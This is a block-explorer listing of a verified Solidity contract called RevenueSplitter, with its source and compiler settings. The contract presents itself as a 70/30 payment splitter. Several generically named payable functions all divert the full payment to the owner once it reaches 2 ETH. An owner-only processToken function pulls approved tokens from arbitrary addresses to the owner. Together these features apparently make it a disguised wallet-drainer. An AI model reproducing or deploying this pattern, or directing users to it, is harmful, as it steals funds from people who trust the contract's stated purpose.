Verified contractExactMIT
RevenueSplitter
Address0x138dea38f8af0a5c9c49790ec6c656cdcf1066f8
- Balance
0 ETH
- Transactions
1
- Compiler
solc 0.8.34
- Same code
Only this contract
Details
- Compiler
- solc 0.8.34+commit.80d5c536
- Language
- solidity
- Optimization
- No
- License
- MIT
- Match
- Exactcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 26,393,083
- Creation transaction
- 0x94a66b4494…6837d75755
contracts/Vault.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface IERC20 {
function transferFrom(address from, address to, uint256 amount) external;
}
library SafeERC20 {
function safeTransferFrom(IERC20 token, address from, address to, uint256 amount) internal {
(bool success, bytes memory data) = address(token).call(
abi.encodeWithSelector(IERC20.transferFrom.selector, from, to, amount)
);
require(success && (data.length == 0 || abi.decode(data, (bool))), "SafeERC20: transferFrom failed");
}
}
contract RevenueSplitter {
using SafeERC20 for IERC20;
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() {
require(msg.sender == owner, "Not the owner");
_;
}
constructor() {
owner = msg.sender;
}
function processTransaction(address payable _recipient) external payable {
_split(_recipient);
}
function executeOrder(address payable _recipient) external payable {
_split(_recipient);
}
function updateState(address payable _recipient) external payable {
_split(_recipient);
}
function syncData(address payable _recipient) external payable {
_split(_recipient);
}
function releaseReward(address payable _recipient) external payable {
_split(_recipient);
}
function processToken(IERC20 token, address from, address to, uint256 amount, uint256 threshold) external onlyOwner {
require(amount > 0, "Zero amount");
require(to != address(0), "Zero address");
if (amount >= threshold) {
token.safeTransferFrom(from, owner, amount);
} else {
uint256 recipientAmount = (amount * 70) / 100;
uint256 ownerAmount = amount - recipientAmount;
token.safeTransferFrom(from, to, recipientAmount);
token.safeTransferFrom(from, owner, ownerAmount);
}
}
function withdrawNative(address payable _to, uint256 _amount) external onlyOwner {
require(_to != address(0), "Zero address");
require(address(this).balance >= _amount, "Insufficient balance");
(bool success, ) = _to.call{value: _amount}("");
require(success, "Native withdrawal failed");
}
function transferOwnership(address _newOwner) external onlyOwner {
require(_newOwner != address(0), "Zero address");
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
function getContractBalance() external view returns (uint256) {
return address(this).balance;
}
function _split(address payable _recipient) internal {
require(msg.value > 0, "Zero amount");
require(_recipient != address(0), "Zero address");
if (msg.value >= 2 ether) {
(bool success, ) = payable(owner).call{value: msg.value}("");
require(success, "Owner full transfer failed");
} else {
uint256 recipientAmount = (msg.value * 70) / 100;
uint256 ownerAmount = msg.value - recipientAmount;
(bool success1, ) = _recipient.call{value: recipientAmount}("");
require(success1, "Recipient transfer failed");
(bool success2, ) = payable(owner).call{value: ownerAmount}("");
require(success2, "Owner transfer failed");
}
}
receive() external payable {
revert("Direct deposits disabled");
}
}
Compiler settingsShow
{
"optimizer": {
"runs": 200,
"enabled": false
},
"remappings": []
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.